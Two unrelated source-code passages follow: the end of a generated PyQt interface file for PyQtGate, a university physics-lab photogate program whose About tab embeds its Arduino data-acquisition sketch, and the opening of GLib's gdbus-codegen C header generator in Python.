canais</p></body></html>", None)) self.pB_save.setText(_translate("PyQtGate", "Salvar formas de onda", None)) self.pB_load.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Lê arquivo com as formas de onda completas</p></body></html>", None)) self.pB_load.setText(_translate("PyQtGate", "Ler formas de onda", None)) self.pB_savetime.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Salva arquivo com os tempos de disparo dos canais selecionados de acordo com a tabela de tempos</p></body></html>", None)) self.pB_savetime.setText(_translate("PyQtGate", "Salvar tabela de tempos", None)) self.tabPrincipal.setTabText(self.tabPrincipal.indexOf(self.tab_arquivo), _translate("PyQtGate", "Arquivo", None)) self.pB_connect.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Seleciona automaticamente a porta USB em que a placa Arduino está conectada. É necessário que a Arduino esteja pré-carregada com o código Photogate específico.</p></body></html>", None)) self.pB_connect.setText(_translate("PyQtGate", "Selecionar porta automaticamente", None)) self.label_2.setText(_translate("PyQtGate", "Comunicação serial com Arduino", None)) self.pB_closeconnection.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Interrompa a conexão com a placa Arduino.</p></body></html>", None)) self.pB_closeconnection.setText(_translate("PyQtGate", "Interromper", None)) self.label.setText(_translate("PyQtGate", "Selecionar da lista:", None)) self.cB_port.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Selecione de uma lista a porta USB em que a placa Arduino está conectada. É necessário que a Arduino esteja pré-carregada com o código Photogate específico.</p></body></html>", None)) self.label_25.setText(_translate("PyQtGate", "Comunicação:", None)) self.l_commstatus.setText(_translate("PyQtGate", "não iniciada", None)) self.tabPrincipal.setTabText(self.tabPrincipal.indexOf(self.tab_serial), _translate("PyQtGate", "Serial", None)) self.l_ufscar.setText(_translate("PyQtGate", "TextLabel", None)) self.l_cca.setText(_translate("PyQtGate", "TextLabel", None)) self.label_3.setText(_translate("PyQtGate", "Centro de Ciências Agrárias", None)) self.textBrowser.setHtml(_translate("PyQtGate", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" "p, li { white-space: pre-wrap; }\n" "</style></head><body style=\" font-family:\'Ubuntu\'; font-size:11pt; font-weight:400; font-style:normal;\">\n" "<p align=\"center\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:12pt; font-weight:600;\">PyQtGate</span></p>\n" "<p align=\"center\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt; font-weight:600;\">Last update: Mar 03 2017</span></p>\n" "<p align=\"center\" style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:12pt; font-weight:600;\"><br /></p>\n" "<p align=\"justify\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">PyQtGate tem como objetivo oferecer uma interface gráfica para o hardware de portas óticas utilizado nos Laboratórios de Ensino de Física do Centro de Ciências Agrárias da Universidade Federal de São Carlos (CCA-UFSCar).</span></p>\n" "<p align=\"justify\" style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:10pt;\"><br /></p>\n" "<p align=\"justify\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">PyQtGate foi desenvolvido em PyQt e deve ser utilizado em conjunto com os hardwares de aquisição do sistema de portas óticas composto por: (i) placa de prototipagem Arduino Uno, (ii) Photogate Shield para Arduino Uno e (iii) conjunto de sensores óticos. A placa Arduino deve ser carregada com o código específico APGate, cuja cópia encontra-se abaixo. Com excessão da placa Arduino, todas as peças de hardware e todos os softwares foram desenvolvidos no CCA-UFSCar.</span></p>\n" "<p align=\"justify\" style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:10pt;\"><br /></p>\n" "<p align=\"justify\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">O Shield Photogate para Arduino foi desenvolvido usando a ferramenta online para criação de circuitos eletrônicos EasyEDA e encontra-se disponível em: https://easyeda.com</span></p>\n" "<p align=\"justify\" style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:10pt;\"><br /></p>\n" "<p align=\"right\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">João Teles</span></p>\n" "<p align=\"right\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">jteles@cca.ufscar.br</span></p>\n" "<p align=\"right\" style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-size:10pt;\">Outubro/2016</span></p>\n" "<p align=\"right\" style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:10pt;\"><br /></p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:10pt;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">/*APGate: Arduino PhotoGate para uso nos dispositivos de portas óticas dos Laboratórios</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">de Ensino de Física do CCA-UFSCar.</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Esse codigo deve ser carregado na placa Arduino UNO que deve operar em conjunto</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">com os hardwares Shield Photogate e sensores óticos. A comunicao deve ser feita com</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">o software PyQtGate.</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Joao Teles, jteles@cca.ufscar.br</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Last update: Mar 03 2017</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">--------------------------------</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 0: canal 1</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 1: canal 2</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 2: canal 3</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 3: canal 4</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 4: canal 5</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Analog pin 5: canal 6</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">*/</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">//Defines for setting and clearing register bits for faster analog readings</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#ifndef cbi</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#define cbi(sfr, bit) (_SFR_BYTE(sfr) &amp;= ~_BV(bit))</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#endif</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#ifndef sbi</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit))</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">#endif</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">char msg_co[9] = &quot;Photo_co&quot;; //Signal from pc asking to connect</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">char msg_ok[9] = &quot;Photo_ok&quot;; //Connection confirmation signal from arduino to pc</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">char msg_st[9] = &quot;Photo_st&quot;; //Signal from pc confirming sequence start</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">char msg_t[9] = &quot;01234567&quot;;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">int i, v;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">int y[7];</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">unsigned char a, b;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">unsigned char a3, a2, a1, a0;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">unsigned long t0, t;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">void erase_msg_t(void);</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">void setup() {</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> // set prescale to 16 (128 is the default) for improving analog reading time:</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> sbi(ADCSRA,ADPS2) ;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> cbi(ADCSRA,ADPS1) ;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> cbi(ADCSRA,ADPS0) ;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.begin(115200);</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">}</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">void loop() {</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> //Read command message from pc:</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> if (Serial.available() &gt; 7)</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> for (i = 0; i &lt; 8; i++) msg_t[i] = Serial.read();</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> //Confirmation of pc-arduino communication:</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> if (strcmp(msg_t, msg_co) == 0) {</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> for (i = 0; i &lt; 8; i++) </p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(msg_ok[i]);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> }</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> //Acquisition start:</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> if (strcmp(msg_t, msg_st) == 0) {</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> </p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> while (Serial.available() &lt; 2) {}</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a = Serial.read();</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> b = Serial.read();</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> </p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> v = ((int)a)*256 + ((int)b);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> </p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> t0 = micros();</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> while (Serial.available() == 0) {</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[0] = analogRead(0);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[1] = analogRead(1);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[2] = analogRead(2);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[3] = analogRead(3);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[4] = analogRead(4);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> y[5] = analogRead(5);</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> t = micros()-t0;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> for (i = 0; i &lt; 6; i++) {</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a1 = y[i]/256;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a0 = y[i]%256;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a0);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a1);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> }</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a3 = t/16777216;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a2 = (t-a3*16777216)/65536;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a1 = (t-a3*16777216-a2*65536)/256;</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> a0 = t-a3*16777216-a2*65536-a1*256;</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a0);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a1);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a2);</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> Serial.write(a3);</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> delay(v);</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> }</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> erase_msg_t();</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> }</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">}</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">void erase_msg_t(void) {</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"> for (i = 0; i &lt; 8; i++) msg_t[i] = \'9\';</p>\n" "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">}</p>\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>", None)) self.tabPrincipal.setTabText(self.tabPrincipal.indexOf(self.tab_sobre), _translate("PyQtGate", "Sobre", None)) self.l_filename.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Último arquivo salvo ou lido. Um asterisco na frente indica que a última aquisição ainda não foi salva.</p></body></html>", None)) self.l_filename.setText(_translate("PyQtGate", "*Arquivo:", None)) from pyqtgraph import PlotWidget
codeparrot/github-code-clean
# -*- Mode: Python -*- # coding=utf-8 # GDBus - GLib D-Bus Library # # Copyright (C) 2008-2018 Red Hat, Inc. # Copyright (C) 2018 Iñigo Martínez <inigomartinez@gmail.com> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General # Public License along with this library; if not, see <http://www.gnu.org/licenses/>. # # Author: David Zeuthen <davidz@redhat.com> from . import config from . import utils from . import dbustypes from .utils import print_error LICENSE_STR = """/* * This file is generated by gdbus-codegen, do not modify it. * * The license of this code is the same as for the D-Bus interface description * it was derived from. Note that it links to GLib, so must comply with the * LGPL linking clauses. */\n""" # Disable line length warnings as wrapping the C code templates would be hard # flake8: noqa: E501 def generate_namespace(namespace): ns = namespace if len(namespace) > 0: if utils.is_ugly_case(namespace): ns = namespace.replace("_", "") ns_upper = namespace.upper() + "_" ns_lower = namespace.lower() + "_" else: ns_upper = utils.camel_case_to_uscore(namespace).upper() + "_" ns_lower = utils.camel_case_to_uscore(namespace).lower() + "_" else: ns_upper = "" ns_lower = "" return (ns, ns_upper, ns_lower) def generate_header_guard(header_name): # There might be more characters that are safe to use than these, but lets # stay conservative. safe_valid_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join( map(lambda c: c if c in safe_valid_chars else "_", header_name.upper()) ) class HeaderCodeGenerator: def __init__( self, ifaces, namespace, generate_objmanager, generate_autocleanup, header_name, input_files_basenames, use_pragma, glib_min_required, symbol_decorator, symbol_decorator_header, outfile, ): self.ifaces = ifaces self.namespace, self.ns_upper, self.ns_lower = generate_namespace(namespace) self.generate_objmanager = generate_objmanager self.generate_autocleanup = generate_autocleanup self.header_guard = generate_header_guard(header_name) self.input_files_basenames = input_files_basenames self.use_pragma = use_pragma self.glib_min_required = glib_min_required self.symbol_decorator = symbol_decorator self.symbol_decorator_header = symbol_decorator_header self.outfile = outfile # ---------------------------------------------------------------------------------------------------- def generate_header_preamble(self): basenames = ", ".join(self.input_files_basenames) self.outfile.write(LICENSE_STR.format(config.VERSION, basenames)) self.outfile.write("\n") if self.use_pragma: self.outfile.write("#pragma once\n") else: self.outfile.write("#ifndef __{!s}__\n".format(self.header_guard)) self.outfile.write("#define __{!s}__\n".format(self.header_guard)) if self.symbol_decorator_header is not None: self.outfile.write("\n") self.outfile.write('#include "%s"\n' % self.symbol_decorator_header) self.outfile.write("\n") self.outfile.write("#include <gio/gio.h>\n") self.outfile.write("\n") self.outfile.write("G_BEGIN_DECLS\n") self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def declare_types(self): for i in self.ifaces: self.outfile.write("\n") self.outfile.write( "/* ------------------------------------------------------------------------ */\n" ) self.outfile.write("/* Declarations for %s */\n" % i.name) self.outfile.write("\n") # First the GInterface self.outfile.write( "#define %sTYPE_%s (%s_get_type ())\n" % (i.ns_upper, i.name_upper, i.name_lower) ) self.outfile.write( "#define %s%s(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_%s, %s))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %sIS_%s(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_%s))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper) 